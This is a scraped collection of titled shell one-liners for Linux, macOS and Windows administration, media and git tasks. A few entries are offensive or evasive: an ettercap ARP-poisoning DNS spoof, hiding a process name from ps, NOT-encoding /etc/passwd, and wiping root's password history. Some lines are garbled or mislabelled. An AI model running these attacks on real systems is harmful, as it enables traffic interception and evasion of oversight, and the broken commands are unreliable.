while :; do OLD=$NEW; NEW=`cat /proc/net/dev | grep eth0 | tr -s ' ' | cut -d' ' -f "3 11"`; echo $NEW $OLD | awk '{printf("\rin: % 9.2g\t\tout: % 9.2g", ($1-$3)/1024, ($2-$4)/1024)}'; sleep 1; done
Capture screen and mic input using FFmpeg and ALSA
a=$(xwininfo |gawk 'BEGIN {FS="[x+ \t]*"} /-geometry/ {print int(($3+1)/2)*2"x"int(($4+1)/2)*2"+"$5"+"$6}') ; echo ${a} ; ffmpeg -f x11grab -s ${a} -r 10 -i :0.0 -sameq -f mp4 -s wvga -y /tmp/out.mpg
Meter your entropy
pv /dev/random > /dev/null
load a js file in the nodejs REPL
.load ./path/to/file.js
kworker issue. Phase one: find the culprit.
grep enabled /sys/firmware/acpi/interrupts/*
vim - save document with privileges from vim
:w !sudo tee %
Forward messages to mailbox and do not keep in mailbox
Set-Mailbox -Identity John -DeliverToMailboxAndForward $false -ForwardingSMTPAddress manuel@contoso.com
Tool for generating system resource statistic
dstat
calculator using python3
=() {python3 -c "from math import *;print($*)"}
compress a file/folder to tar,zip,rar…
compress pictures/ pictures.tar.gz
tail from the last occurrence of a pattern to the end of the (log) file
grep -n PATTERN /logs/somelog.log | cut -f1 -d: | tail -1 | xargs -I num tail -n +num /logs/somelog.log
Create a P12 file, using OpenSSL
openssl pkcs12 -export -in /dir/CERTIFICATE.pem -inkey /dir/KEY.pem -certfile /dir/CA-cert.pem -name "certName" -out /dir/certName.p12
Recursive replace of directory and file names in the current directory.
find -name '*oldname*' -print0 | xargs -0 rename 's/oldname/newname/'
An easter egg built into python to give you the Zen of Python
echo "import this" | python
Proxy all web traffic via ssh
Putty -d 8080 [server]
Loop over files found using 'find' (works with filenames that contain spaces)
find -name 'foo*' | while read i; do echo "$i"; done
copy selected folder found recursively under src retaining the structure
find <src-path-to-search> -name "<folder-name>" | xargs -i cp -avfr --parent {} /<dest-path-to-copy>
Calculate 12 + 22 + 3**2 + …
N=10; echo "($N*($N+1)*(2*$N+1))/6" | bc
All IP connected to my host
netstat -nut | sed '/ESTABLISHED/!d;s/.*[\t ]\+\(.*\):.*/\1/' | sort -u
Setting up colors for solarized color scheme
gconftool-2 --set "/apps/gnome-terminal/profiles/Default/palette" --type string "#070736364242:#D3D301010202:#858599990000:#B5B589890000:#26268B8BD2D2:#D3D336368282:#2A2AA1A19898
Print failed units in systemd
systemctl --failed | head -n -6 | tail -n -1
Find highest context switches
grep -H voluntary_ctxt /proc/*/status |gawk '{ split($1,proc,"/"); if ( $2 > 10000000 ) { printf $2 " - Process : "; system("ps h -o cmd -p "proc[3]) } }' | sort -nk1,1 | sed 's/^/Context Switches: /g'
create ec2 chef client
knife ec2 server create -r role[base],role[webserver] -E development -I ami-2a31bf1a -i ~/.ssh/aws-west.pem -x ec2-user --region us-west-2 -Z us-west-2b -G lamp --flavor t1.micro -N chef-client1 --no-host-key-verify
Function to remove a directory from your PATH
pathrm() { PATH=`echo $PATH | sed -re 's#(:|^)cde($|:)#:#g;s#^:##g;s#:$##g'`; }
kworker issue. Phase 2. Clobbering the interrupt that is problematic
echo "disable" > /sys/firmware/acpi/interrupts/gpeXX
List all bash shortcuts
bind -P | grep -v "is not" | sed -e 's/can be found on/:/' | column -s: -t
Change domain user password
net user user_name new_password /domain
Gracefully close all windows of an application
powershell -Command "while (\$true){Try{\$process=Get-Process firefox -ErrorAction Stop}Catch [Microsoft.PowerShell.Commands.ProcessCommandException]{break;}if (\$process) {\$whateva=\$process.CloseMainWindow()}else {break;}Start-Sleep -m 500}"
Change caps lock to backspace (Works on Ubuntu 14.04)
setxkbmap -option caps:backspace
change the volume with the pront
alias Sound-volume='amixer -D pulse sset Master '
Copy uncommitted changes to remote git repository
git diff --name-only HEAD | cpio -o -Hnewc --quiet | ssh HOST '(cd REPO_DIR && cpio -iduv --quiet -Hnewc)'
rcsdiff: Output the differences side-by-side
rcsdiff -y myfile
Updates file in all the zips
ls *.zip|awk '{$a="zip -fo "$1" FILENAME"; system($a);}'
Create tarball of files modified in git
tar czf git_mods_circa_dec23.tgz --files-from <(git ls-files -m)
SSH to remote machine and cd to a specific directory
alias sshto 'ssh -X -t \!:1 "cd \!:2 ; tcsh"'
Generate debian package without signing and only binaries
dpkg-buildpackage -b -rfakeroot -us -uc
Extract any archive
aunpack foo.tar.bz2
add untracked/changed items to a git repository before doing a commit and/or sending upstream
git status|awk '/modified:/ { printf("git add %s\n",$3) }; NF ==2 { printf("git add %s\n",$2) }'|sh
add role to chef node
knife node run_list add first-client "role[base]"
Tweet your status from the command line
twurl /1/statuses/update.json -d status="$1"
Fetch all GPG keys that are currently missing in your keyring
for i in `gpg --list-sigs | perl -ne 'if(/User ID not found/){s/^.+([a-fA-F0-9]{8}).*/\1/; print}' | sort | uniq`; do gpg --keyserver-options no-auto-key-retrieve --recv-keys $i; done
Open (in vim) all modified files in a git repository
vim -p `git --porcelain | awk {print $2}`
pngcrush all .png files in the directory structure
find -f . png | while read line; do pngcrush -ow -brute $line; done
decode uri
csi -R uri-common -p '(uri-decode-string (read-line))'
List all groups
cut -d: -f1 /etc/group | sort
turn on/off wifi
sudo service network-manager start
Running qbittorrent-nox without killing it when the terminal closses.
nohup qbittorrent-nox & disown
Generate a list of items from a couple of items lists A and B, getting (B - A ) set
comm -13 ItemsListtoAvoid.txt AllItemsList.txt > ItemsDifference.txt
Encode a file to MPEG4 format
HandBrakeCLI -i video.avi -o video.mp4
Ignore a specific subdir, instead of all subdirs, with ack-grep
ack -a -G '^(?!.*bar/data.*).*$' pattern
Find all symlinks that link to directories
ls -l $(find ./ -type l | perl -ne 'chomp; if (-d) { print "$_\n" }')
Purge configuration files of removed packages on debian based systems
dpkg -l | grep ^rc | cut -d' ' -f3 | xargs dpkg -P
Console clock
while sleep 1; do echo -n "\r`date`"; done
Replace all occurences of a pattern with another one from previous command
!!:gs/foo/bar
Copy buffer from tmux into OS X clipboard
tmux show-buffer | pbcopy
Visualize directory structure
tree
Short Information about loaded kernel modules
lsmod | tail -n +2 | cut -d' ' -f1 | xargs modinfo | egrep '^file|^desc|^dep' | sed -e'/^dep/s/$/\n/g'
chef ssh
knife ssh name:* -x ec2-user -i ~/.ssh/aws-west.pem "hostname"
find top 20 results in apache statistics for a specific month
awk '/Dec\/2012/ {print $1,$8}' logfile | grep -ivE '(.gif|.jpg|.png|favicon|.css|.js|robots.txt|wp-l|wp-term)' | sort | uniq -c | sort -rn | head -n 20
Opening & evaluating a SuperCollider file from commandline (Mac)
/Applications/SuperCollider/SuperCollider.app/Contents/Resources/sclang ~/path/to/your/scfile.scd
Count music files in each directory
find . -type d -maxdepth 1 -print0 | xargs -0 -I{} sh -c 'find "{}" -type f | grep "ogg\|mp3\|wav\|flac$" | wc -l | tr -d "\n"; echo " {}"'
Get a PostgreSQL servers version
psql -h <SERVER NAME HERE> -c 'SELECT version();' | grep -v 'version\|---\|row\|^ *$' | sed 's/^\s*//'
wget
wget www.google.com
set screen brightness
xbacklight -set 100
Show a git log with offsets relative to HEAD
git log | nl -w9 -v0 --body-numbering='pcommit\ [0-9a-f]\{40\}' | sed 's/^ \+\([0-9]\+\)\s\+/HEAD~\1 /'
Diff two directories by finding and comparing the md5 checksums of their contents.
diff <(sort <(md5deep -r /directory/1/) | awk -F '/' '{print $1 $NF}') <(sort <(md5deep -r /directory/2/) | awk -F '/' '{print $1 $NF}')
Open search engines from terminal
ddg(){ ARGS="$@"; xdg-open "https://www.duckduckgo.com/?q=${ARGS}"; }
Incremental Backup via rsync
rsync -aAXv / --exclude={"/dev/*","/proc/*","/sys/*","/tmp/*","/run/*","/mnt/*","/media/*","/home/*","/lost+found/*"} <backup path> > <path_of log file>
Show a clock in the upper right corner
while sleep 1;do tput sc;tput cup 0 $(($(tput cols)-11));echo -e "\e[31m`date +%T`\e[39m";tput rc;done &
save a manpage to plaintext file
man -P cat ls > man_ls.txt
Create x11vnc server authentication file
x11vnc -storepasswd your_new_apssword ~/my_vnc_pass
a2p converts awk scripts to perl programs
a2p -F:
A way to run commands on a remote computer to be displayed on the remote computer
while :;do if [ ! $(ls -l commander |cut -d ' ' -f5) -eq 0 ]; then echo "Ran command: $(less commander) @ $(date +%D) $(date +%r)" >> comm_log;"$(less commander)";> commander;fi;done
Create a tunnel from a remote server to the local machine using a specific source port
socat TCP-LISTEN:locport,fork TCP:XXX.XXX.XXX.XXX:YYY,sourceport=srcport
How many lines in your PHP project without comments
find . -type f -name '*.php' | xargs cat | sed -re ':top /\/\*.*\*\// { s/\/\*.*\*\///g ; t top }; /\/\*/ { N ; b top }' | awk '$0 !~ /^[\t[:space:]]*($|(\/\/)|(#))/' | wc -l
Get the rough (german) time from Twitter by @zurvollenstunde
curl -s "http://search.twitter.com/search?from=zurvollenstunde&rpp=1" | grep -E '(Es ist jetzt|ago)' | sed 's/<[^>]*>//g;s/[^[:digit:]]//g' | xargs | sed -e 's#\ #:#'
progress bar for cp
progr
Paste hardware list (hwls) in html format into pastehtml.com directly from console and return URI.
$ pastebin(){ curl -s -S --data-urlencode "txt=$(cat)" "http://pastehtml.com/upload/create?input_type=txt&result=address";echo;}
check a list of domains registered on godaddy
for i in `wget -O url|grep '<a rel="nofollow"'|grep http|sed 's|.*<a rel="nofollow" class="[^"]\+" href="[^"]*https\?://\([^/]\+\)[^"]*">[^<]\+</a>.*|\1|'`;do if test -n "$(whois $i|grep -i godaddy)";then echo $i uses GoDaddy;fi;sleep 20;done
change directory permissions whithout changing file permissions recursive
sudo find foldername -type d -exec chmod 755 {} ";"
Empty a file
touch filename
Command to get list of all existing programming languages from Wikipedia article
curl http://en.wikipedia.org/wiki/List_of_programming_languages | grep "<li>" | awk -F"title=" '{ print $2 }' | awk -F\" '{ print $2 }'
convert .ppk file to .ssh file
puttygen my_ssh_key.ppk -O private-openssh -o my_openssh_key.ssh
create tar.gz on solaris
tar cfp - file-to-be-archived | gzip > archive.tar.gz
Find used fileextensions in a project
find . -type f | perl -ne 'chop(); $ext = substr($_, rindex($_, ".") + 1); print "$ext\n";' | sort | uniq --count | sort -n
Count music files in each directory
for i in */; do echo $(find $i -type f -regextype posix-extended -regex ".*\.(mp3|ogg|wav|flac)" | wc -l) $i ; done
Get all files with a certain extension linked to on a page
wget -r -nd -q -A "*.ext" http://www.example.org/
list files and folders
ls -l
access.log to csv
awk '{ agent=""; for(i=12; i<=NF; i++){agent=agent $i" ";} print "\""$1"\",\""$4" "$5"\","$6" "$7" "$8","$9","$10","$11","agent }' access.log
Let your computer read ls for you instead of reading it on your own
ls | espeak
Copy a file over SSH without SCP
cat file | ssh user@remotehost "cat > file"
Encode string with NOTs
echo -e 'import ctypes\nimport sys\nf="/etc/passwd"\nfor i in f:\n\tsys.stdout.write(hex(ctypes.c_uint8(~ord(i)).value)+",")\nsys.stdout.write("\\n")' | python
Create unique IP and count list of hits against URL in Pound LB logs, redirect to file
cat *pound* | grep someURL.com | awk '{print $7}'| uniq -c | sort -bgr >> uniqueIPwC.txt
sched && syscall app state awareness basics
pgrep -f bash | while read PMATCH;do echo "$PMATCH !!! Example "$(grep -e nr_involuntary_switches /proc/$PMATCH/sched|tr -d '\040\011\012\015') !!! Example "[sysc]:$(ausyscall $(cat /proc/$PMATCH/syscall|cut -d' ' -f1))"; done;
Change Windows line endings to Unix version
find . -type f -regex '.*\.\(cpp\|h\)' -exec egrep -l $'\r'\$ {} \; | xargs dos2unix
rsync over ssh
rsync -avz -e ssh username@hostname:/path/to/remote/dir/ /path/to/local/dir/
Creating sequence of number with text
seq 10 |xargs -n1 echo Printing line
Start the x11vnc server
x11vnc -display :0 -scale 6/7 -rfbauth vncpass -forever
Send a local file via email
{ echo -e "$body"; uuencode "$outfile" "$outfile"; } | mail -s "$subject" "$destaddr" ;
Create a series of incrementing numbers in vim
:.,$!perl -pne 'for $i ("0001".."0004"){ s/XXXX/$i/ if($i == $.) }'
Query well known ports list
portnum() { egrep "[[:space:]]$*/" /etc/services; }
change file permissions whithout changing directory permissions recursive
sudo find foldername -type f -exec chmod 644 {} ";"
Displays all available firmware you can get (non-free) in a Debian system
apt-file --package-only search /lib/firmware
Useless fun
echo "main(i){for(i=0;;i++)putchar(((i*(i>>8|i>>9)&46&i >>8))^(i&i>>13|i>>6));}" | gcc -x c - && ./a.out | aplay
get gzipped logs from webserver to local machine
ssh user@remote "tar cfp - /path/to/log/* | gzip" > local.tar.gz
Poor man's
set +e +u; dd if=/dev/urandom of="/media/usb1/$$";sync;sync
Serve current directory tree at http://$HOSTNAME:8000/
ruby -run -e httpd . -p 8000
Grab all JIRA ticket numbers (e.g. ABC-123) mentioned in commits added in feature branch off of master
git log master...feature-a | grep -o -E '\b([A-Z]+)-[0-9]+\b' | sort | uniq
optimize all png images
find . -name *.png | xargs optipng -nc -nb -o7 -full
Get non-localhost IPs from all Internet interfaces
ifconfig -a | grep inet | awk '{print $2}' | cut -d ":" -f 2 | grep -v 127.0.0.1
Create a new File without I/O
>> "file_name";
Unzip all zip files in a directory into a newly created directory based on zip file name
for f in *.zip; do unzip -d "${f%*.zip}" "$f"; done
Visual system load display
while [ true ]; do cat /proc/loadavg | perl -ne 'm/(^[^ ]+)/; $L = $1; print "*" x $L; print " $L\n";' ; sleep 6; done
search into contents of python module
srchpymod() { python -c "import $1; print filter(lambda x: x.find('$2') >= 0, dir($1))"; };
Eclipse needs to know the path to the local maven repository. Therefore the classpath variable M2_REPO has to be set.
mvn -Declipse.workspace=<path-to-eclipse-workspace> eclipse:add-maven-repo
Geo Weather
xmlstarlet fo "http://www.google.com/ig/api?weather=$(curl -s api.hostip.info/get_html.php?ip=$(curl -s icanhazip.com)... SEE SAMPLE OUTPUT
display the ttl of a hostname in a human readable form
function ttl { /usr/sbin/timetrans -count $(dig +noquestion +noadditional +noauthority $1 | grep "^$1" | awk '{print $2}') }
Dump /dev/ttyS0 on background automatically from startup
nohup cat /dev/ttyS0 | tee -a llamadas.db&
Displays all installed firmware in your Debian sytem
aptitude search ~i ~nfirmware
Convert video file to sequence of images
ffmpeg -i source.mpg -r 24 -f image2 still-%6d.png
Find .jpg file that is actually thumbs.db
file -i `find . -name '*.jpg' -print` | grep "application/msword"
Replicate a directory structure from a 'basedir' in a remote server.
ssh user@remotehost "find basedir -type d" | xargs -I {} -t mkdir -p {}
Batch resize images (overwriting)
mogrify -resize 852x480 *.png
Create MP3 from text on clipboard (OS X)
pbpaste | say -v Alex -o /tmp/say.aiff && sox /tmp/say.aiff say.mp3
convert png images to jpg and optimize them
ls *.png | cut -d . -f 1 | xargs -L1 -i convert -strip -interlace Plane -quality 80 {}.png {}.jpg
Delete files sorted by dates. Delete all other files except latest N files.
ls -lt | grep ^- | awk 'NR>=N {print $9}' | xargs rm -rf -i
keep trying a command until it is successful
until YOURCOMMAND; do echo "Retrying"; sleep 2; done
Transcode original FLAC files to downsampled MP3 files in exclusive folder
for i in *.flac; do flac -d -c "${i}" |lame -h --preset 196 --ta "Artist Here" --tl "Disc Title Here" --add-id3v2 - "./MP3/$i.mp3"; done
Auto-kill auto-spawned process
while [ ! -z $(ps -A | grep -m1 kdiff3 | awk '{print $1}') ]; do kill -9 $(ps -A | grep -m1 kdiff3 | awk '{print $1}'); sleep 1; done
send message to specific remote user
ssh youraccount@192.168.1.168 write toUsername pts/33
Shows only ContainerID, Image, Status and names of running containers.
alias dockps='docker ps --format "table {{.ID}}\t{{.Image}}\t{{.Status}}\t{{.Names}}"'
To rotate all PDF pages clockwise:
pdftk in.pdf cat 1-endeast output out.pdf
list the last week's added files in xmms2's library
xmms2 mlib search added \> $(echo $(date +%s) - 604800|bc)
Find files older than X, using find.
find . -mtime +10
So you are not sure are connected and iither your router or ethernet card are not working.
sudo tcpdump -i eth0 -n port 67 and 68
Unix timestamp Solaris
nawk 'BEGIN {print srand()}'
Look for process by filename in command then kill the process
ps ax | grep -i ProcessName| kill -9 `awk '/FileName.Ext/ {print $1}'`
display list of files in a directory sorted by amount of lines different with original.txt.
for f in $(ls -A ./dir); do echo -n $f && diff original.txt ./dir/$f | wc -l ; done | perl -ne 'my $h={}; while (<>) { chomp; if (/^(\S+?)\s*(\d+?)$/){$h->{$1}=$2;} }; for my $k (sort { $h->{$a} $h->{$b} } keys %$h ){ print "$k\t$h->{$k}\n"}'
Count total amount of code lines in a PHP Project (short version)
find . -type f -name "*.php" -exec wc -l {} +;
Epoch time conversion
echo $(date -d @$((0x4f28b47e)))
Number of open connections per ip.
netstat -an | grep 80 | wc -l
Extract raw audio from video
ffmpeg -i source.mpg -f s16le -acodec pcm_s16le audio.raw
find ip address in all files in /etc directory
find /etc -type f -print0 | xargs -r0 grep --color '192.168.0.1'
Create a csv file with '5-digits prefix' phone numbers, as well as occurrences per prefix
cut -d, -f1 /var/opt/example/dumpfile.130610_subscriber.csv | cut -c3-5 | sort | uniq -c | sed -e 's/^ *//;/^$/d' | awk -F" " '{print $2 "," $1}' > SubsxPrefix.csv
Convert multi layered TIFF file to multi page PDF document
convert multi_layer.tif -compress jpg multi_page.pdf
simple single-lined git log
git log --pretty=oneline --abbrev-commit
Sort lines on clipboard
pbpate | sort | pbcopy
Multiple level ssh
ssh -t user@domain.com "ssh -t user2@domain2.com bash -l"
get name of file that is currently playing in mplayer (if there)
media="$(basename "$(readlink /proc/$(pidof mplayer)/fd/* | grep -v '\(/dev/\|pipe:\|socket:\)')")" && ((test -n "$media" && echo "now playing: $media") || echo "no track/video playing")
easily strace all your apache child processes
strace -c $(ps -u www-data o pid= | sed 's/^/-p/')
Linux socket-to-socket tunnel (MySQL example)
socat "UNIX-LISTEN:/tmp/mysqld.temp.sock,reuseaddr,fork" EXEC:"ssh username@remoteserver.com socat STDIO UNIX-CONNECT\:/var/run/mysqld/mysqld.sock"
Shows the online version of docker's man related a command
dockpage() { lynx -width=180 --dump https://docs.docker.com/v1.11/engine/reference/commandline/$1/ | sed -n '/^Usage/,/On this page/{/On this page/b;p}'; }
Search filenames with given pattern; each one is transfered via scp and if succesfull the file is locally deleted. Ideal for filesystem quick maintenance
'ls -1 *<pattern>* | while read file; do scp $file user@host:/path/; if [[ $? -eq 0 ]]; then rm $file; fi; done'
avi to ogv (Ogg Theora)
ffmpeg2theora input.avi
Add user to group on OS X 10.5
sudo dscl localhost -append /Local/Default/Groups/admin GroupMembership username
Unix timestamp Solaris
/usr/bin/truss /usr/bin/date 2>&1 | nawk -F= '/^time\(\)/ {gsub(/ /,"",$2);print $2}'
Fix all the commit log messages from a user of a bad subversion client
for R in `svn log file:///path/repo | grep ^r | grep dude | cut -d' ' -f1 | cut -dr -f2`; do svn ps svn:log --revprop -r $R "`svn pg svn:log --revprop -r $R file:///path/repo; perl -e 'print ".\n";' | fromdos`" file:///path/repo; done
Remove all unused kernels with apt-get
apt-get remove $(dpkg -l | awk "/^ii linux-(image|headers)/ && ! /`uname -r`/ {print \$2}")
Get the dir listing of an executable without knowing its location
ls -l =gcc
DNS spoof with ettercap (etter.dns configured)
ettercap -i wlan0 -T -q -P dns_spoof -M ARP:remote // //
Converts the output of disklabel from bytes to Gigabytes on FreeBSD
echo `disklabel mfid1s4 | sed -n '$p' | awk '{print $2}'` / 1024 / 1024 | bc -l
Generate Qr code from contact file (or any other ASCII file)
qrencode -o contact.png ?`cat contact.vcs`?
Grep recursively your Python project with color highlighting the result and line numbers
grep --color=always -nr 'setLevel' --include=*py | less -SRqg
Convert red-cyan 3D anaglyph to side-by-side
convert infile.png \( +clone -channel GB -evaluate set 0 +channel \) +append -region 50%x100% -channel R -evaluate set 0 +channel outfile.png
urldecoding
echo "q+werty%3D%2F%3B" | php -r "echo urldecode(file_get_contents('php://stdin'));"
find which lines in a file are longer than N characters
perl -nle 'print length,"\t",$_ if length > 37' < /path/to/input/file
Copy files with a given string to a new set of files with a different string.
for f in `find /path -name "*string*"`; do newfn=`echo "$f" | sed s/string/new_string/`; cp $f $newfn; done
List all symbolic links in current directory that matches regexp
find . -maxdepth 1 -type l -regextype posix-basic -regex '.*what[ev]er?.*'
Get just LAN IP without all the extra stuff
ip addr show | grep "inet " | while read INET IP TRASH; do if [ $IP != "127.0.0.1/8" ]; then echo $IP; exit 0; fi; done | sed s:/[1-9][1-9]:"":
send attachment file email
echo "This is the message body" | mutt -a "/path/to/file.to.attach" -s "subject of message" -- recipient@domain.com
Add Rudimentary Logging Levels According to STDOUT/STDERR
[command] 2> >(fb=$(dd bs=1 count=1 2>/dev/null | od -t o1 -A n); [ "$fb" ] && err=$(printf "\\${fb!!! Example "}"; cat) && echo "ERROR - $err")
Find given string in all files with given name or extension
find . -name "*.html" -exec grep -l 'string' {} \;
Greets the user appropriately
echo Good $(i=`date +%H` ; if [ $i -lt 12 ] ; then echo morning ; else if [ $i -lt 15 ] ; then echo afternoon ; else echo evening ; fi ; fi)
Unix timestamp Solaris
perl -le 'print time()'
Create a booklet ps file out of a normal ps (A4 Size)
psbook file.ps | psnup -2 -l -m0.5cm | pstops '2:0,1U(210mm,297mm)' > file.booklet.ps
mencoder convert bluray to xvid
mencoder input.m2ts -oac mp3lame -lameopts cbr:br=128 -ofps 24 -vf harddup -vf scale=1280:720 -ovc xvid -xvidencopts fixed_quant=3 -o output.xvid.lamp.avi
Number of CPU's in a system
grep -c '^$' /proc/cpuinfo
Get process id based on name and parameters
pgrep -f 'process.*argument.*'
export iPad, iPhone App list to txt file
ls "`defaults read com.apple.itunes NSNavLastRootDirectory`/iTunes/iTunes Music/Mobile Applications/" > filepath
Show git branches by date - useful for showing active branches
git for-each-ref --sort=-committerdate --format="%1B[32m%(committerdate:iso8601) %1B[34m%(committerdate:relative) %1B[0;m%(refname:short)" refs/heads/
md5sum for files with bad characters
find ./ -type f | sed "s:[\ \',\"]:\\\&:g" | xargs md5sum
Extend the opensuse buildservice key for a project and trigger its rebuild
project=YOURPROJECTHERE; package=YOURPACKAGEHERE; osc signkey --extend $project; osc rebuildpac project package
Batch resize images (overwriting)
mogrify -resize 852x480 ./*.png
Take current directory name and rename files that exist in the folder to the same
dir=${PWD##*/}; rename "s/`ls -b1 | head -n1 | sed 's/.\{4\}$//'`/$dir/" -v *
Convert all files media to mp3
find -type f -exec ffmpeg -i "{}" "{}".mp3 \;
using plink to create multiple ssh tunnels simultaneously
plink -C -L 8900:172.16.1.1:3389 -L 8901:172.16.1.2:80 username@remotehost -P 22 -N ?v
Lookup autonomous systems of all outgoing http/s traffic
ss -t -o state established '( dport = :443 || dport = :80 )' | grep -Po '([0-9a-z:.]*)(?=:http[s])' | sort -u|netcat whois.cymru.com 43|grep -v "AS Name"|sort -t'|' -k3
send a file or directory via ssh compressing with lzma for low trafic
7z a -t7z -m0=lzma2 -mx=9 -y -bd -so ./file | ssh user@sshserver $(cd /tmp; 7z e -si)
starting 25 docker nginx instances
for i in {1..25}; do docker run -d -P aysadk/ghostdockernginx; done
Hide the name of a process listed in the ps output
exec -a "$(ps -fea | awk '{print $8}'| sort -R | head -n1)" your_command -sw1 -sw2
slice a fixed number of characters from the output of a command, where the width of the slice is the number of characters in $slice
slice="-rw-r--r-- "; ls -l | cut -c $(echo "$slice" | wc -c)-
convert a line to a space
sed 's/.*/ /'
Configuring a proxy for a cobbler repo
cobbler repo edit --name=Epel-i386 --environment="http_proxy=http://100.100.100.100:3128"
Remove all the files except abc in the directory
find * ! -name abc -delete
Map r do insert random number in vim
imap <leader>r <C-r>=system('echo "$(($RANDOM % 100))"')<cr>
Find all IP connected to my host through TCP connection and count it
netstat -an |grep ":80" |awk '{print $5}' | sed s/::ffff://g | cut -d: -f1 |sort |uniq -c |sort -n | tail -1000 | grep -v "0.0.0.0"
Install 4 new package files
sudo dpkg -i `ls -tr *.deb | tail -n4`
copy GPT partition table from /dev/sda to /dev/sdb
sgdisk /dev/sda -R /dev/sdb && sgdisk -G /dev/sdb
chmod only files
find . -type f -print0 | xargs -0 chmod -v gu=rw
how to scp to another pc on network
sudo scp <file or folder> <name of pc 1>@<IP of pc 2>:
add untracked/changed items to a git repository before doing a commit and/or sending upstream
git status --porcelain | awk '{print $2}' | xargs git add
Verify a file has not been tampered with since dpkg installation
cat /var/lib/dpkg/info/*.md5sums|grep usr/sbin/sshd|sed 's,usr,/usr,'|md5sum -c
grep for 2 (or more) words anywhere on each line of a file
grep -E "(.*)(ERROR)(.*)(FAULT)(.*)" log.txt
md5sum for files with bad characters
find ./ -type f -print0 | xargs -0 md5sum
Show me all of my Mac App Store apps
find /Applications -path '*Contents/_MASReceipt/receipt' -maxdepth 4 -print |sed 's#.app/Contents/_MASReceipt/receipt#.app#g; s#/Applications/##'
find which lines in a file are longer than N characters
sed -n "/^.\{73,\}/p" < /path/to/file
Get a list of all valid ip address in a local network?
nmap -sP 192.168.1.*
Curl download multiple files using integer range
curl -O "http://www.dspguide.com/CH[1-34].PDF"
Disable password expiration and clear password history for VMware vcenter appliance
chage -M -1 root; echo "" > /etc/security/opasswd
docker build with custom title
docker build --rm=true -t aysadk/mysql-server .
Hide the name of a process listed in the ps output
ps aux | grep -v name_you_want_to_hide
Mount a truecrypt drive from a file from the command line non-interactively
su -c "truecrypt --non-interactive truecrypt-file cryptshare -p PASSWORD"
Emulate perl 'print "#" x 20, "n"'
printf '%*s\n' 20 | tr ' ' '#'
slice a fixed number of characters from the output of a command, where the width of the slice is the number of characters in $slice
slice(){ cut -c$((${#1}+1))-; }; ls -l | slice "-rw-r--r--"
Show demo of toilet fonts
for i in ${TOILET_FONT_PATH:=/usr/share/figlet}/*.{t,f}lf; do j=${i##*/}; toilet -d "${i%/*}" -f "$j" "${j%.*}"; done
Get Total Line Count Of All Files In Subdirectory (Recursive)
find . -type f -name "*.*" -exec cat {} > totalLines 2> /dev/null \; && wc -l totalLines && rm totalLines
print unread gmail message
curl -su username:passwd https://mail.google.com/mail/feed/atom | xmlstarlet sel -N x="http://purl.org/atom/ns#" -t -m //x:entry -v 'concat(position(), ":", x:title)' -n
Autocomplete directories (CWDs) of other ZSH processes
function _xterm_cwds() { for pid in $(pidof -- -zsh) $(pidof zsh); do reply+=$(readlink /proc/$pid/cwd) done }; function xcd() { cd $1 }; compctl -K _xterm_cwds xcd
GnuPG: Encrypt/Decrypt files
gpg -c sensitive.txt; gpg sensitive.txt.gpg
quick and easy way of validating a date format of yyyy-mm-dd and returning a boolean
if date -d 2006-10-10 >> /dev/null 2>&1; then echo 1; else echo 0; fi
Convert HAML to HTML on file change
while true; do filechanged=$(inotifywait -e close_write,moved_to --format "%w%f" .); haml $filechanged -q --no-escape-attrs > ${filechanged/.haml/.html}; done
Generate a random password 30 characters long
head -c 24 /dev/urandom | base64
Show all symlinks
find ./ -type l -print0 | xargs -0 ls -plah
Get puppet modules path
puppet config print modulepath
dynamically list open files for a given process name
lsof -i -n -P | grep -e "$(ps aux | grep node | grep -v grep | awk -F' ' '{print $2}' | xargs | awk -F' ' '{str = $1; for(i = 2; i < NF; i++) {str = str "\\|" $i} print str}')"
Inverted cowsay
echo Which way up? | flip.pl | cowsay | tac | sed -e "s,/,+,g" -e "s,\\\,/,g" -e "s,+,\\\,g" -e "s,_,-,g" -e "s,\^,v,g"
Resize all images in folder
mogrify -resize 25% *.jpg
Watch active calls on an Asterisk PBX
watch -n 5 "asterisk -rx 'core show calls' | grep active"
Delete huge numbers of files without intensive cpu load
find <path> -type f -exec ionice -c3 rm {} +
When you realise your AMI doesn't come with NTP
AWS_DEFAULT_REGION="sa-east-1" jungle ec2 ls | grep midas | sort | cut -f4 | xargs -I {} ssh ubuntu@{} sudo apt-get install ntp -y
Get video information with ffmpeg
ffmpeg -i input.mp4 -f null /dev/null
WSL: Change the current directory converting a Windows path to a Linux Path
function _cd() { local dir; dir="$(sed -e 's~\([a-z]\):~/mnt/\L\1~gi' <<< "${*//'\'/"/"}" )"; if [ -d "$dir" ]; then cd "$dir" || exit; fi; }
Test python regular expressions
rgx_match() { python -c "import re; print re.search('$1','$2').groups()"; }
Show top-level subdirectories (zsh)
ls -ld *(/)
Dns zone transfer
host -la domain.com
Convert video type from mpg to wmv
mencoder -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1000:vhq -oac mp3lame -lameopts br=98 -o output.wmv input.mpg
shell function to turn start and length in to a range suitable for using in cut.
range () { end=$(echo "$1 + $2 - 1" | bc); echo "$1-$end"; }
print your iTunes App for iPhone/iTouch/iPad to show your friends which ones you have
find ~/Music/iTunes/iTunes\ Media/. -name \*.ipa -exec basename {} \; | cut -d \. -f 1 > ~/Desktop/MyAppList`date +%s.txt`
Remove all the files except abc in the directory
find * ! -name abc -type f -delete
find rcs locked file in a given folder
find /path/to/folder/ -mindepth 1 -maxdepth 2 -name "*,v" -exec sudo rlog -L -R {} \;
Get the dir listing of an executable without knowing its location
ls -l `whereis gcc`
what model of computer I'm using?
sudo dmidecode -s system-product-name
Easy way to display yum repo priorities
sed -n -e "/^\[/h; /priority *=/{ G; s/\n/ /; s/ity=/ity = /; p }" /etc/yum.repos.d/*.repo | sort -k3n
Open/Close your co-worker's cd player
while true; do eject && sleep `expr $RANDOM % 5` && eject -t; done;
List your largest installed packages.
dpkg-query -Wf '${Installed-Size}\t${Status}\t${Package}\n' | sort -n | grep installed
Crop PDF with trim
pdfjam --clip true --trim '10mm 11cm 22pts 0' m.pdf
Equivalent to ifconfig -a in HPUX
netstat -nr|egrep -v "Routing|Interface|lo0"|awk '{print $5}'|sort -u| while read l; do ifconfig $l ; echo " Station Addr: `lanscan -ia|grep "$l "|cut -d ' ' -f 1`" ; done
easier git status. better in .bash_profile
alias 'gst'=git status
easily strace all your apache processes
pgrep -f /usr/sbin/httpd | awk '{print"-p " $1}' | xargs strace
search and cut between two strings
echo '<div class="Btn">link to open </div>' | grep -oP '(?<="Btn").*?(?= </div>)' | cut -d ">" -f2
